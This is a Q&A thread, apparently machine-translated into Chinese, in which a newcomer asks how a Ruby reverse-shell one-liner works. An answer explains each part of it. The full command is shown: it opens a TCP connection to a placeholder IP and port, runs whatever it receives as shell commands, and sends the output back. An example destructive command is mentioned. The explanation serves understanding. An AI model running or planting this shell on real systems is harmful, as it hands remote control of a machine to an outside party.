Ruby单线故障?

Ruby one-liner breakdown?

我是 Ruby 的新手,正在尝试更好地理解这种反向 shell 单行代码,旨在连接回 Netcat 侦听器。

有人可以尝试分解命令并解释某些代码的实际作用吗?例如,我知道 "TCPSocket.new" 创建新的 TCP 套接字,但是什么是 "cmd=c.gets"、"IO.popen"、“|io|c.print io.read”等等。还有什么while 循环的目的是什么?

ruby -rsocket -e "c=TCPSocket.new('<IP Address>','<Port>');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end"

好的,让我们把这个分解一下。

ruby

运行作为 ruby 解释器,您可能知道那部分

-rsocket

相当于 require "socket"r 要求)

-e "some string"

运行 some string 作为 ruby 脚本(e 用于执行)

while(cmd=c.gets)

说“当 gets(获取字符串直到并包括下一个换行符)returns 来自连接 c 的东西时,即当有数据进入时,将其分配给cmd 和..

IO.popen(cmd,'r'){|io|c.print io.read}

.. 运行 cmd 作为 shell 命令,读取输出,然后 print 将其返回到连接 c.

因此,实际上,通过网络接收命令(如 ls .rm -rf /),读入,运行,获取输出,然后发回。一直这样做,直到对方停止发送命令。

因为gets会阻塞并等待下一行进来,这个单行会一直等到连接关闭。

可能不想让其他人通过该连接发送命令,因为它会 运行 他们直接在您的计算机上发送的任何内容,尽管这大概就是您所说的 "reverse shell" 的意思。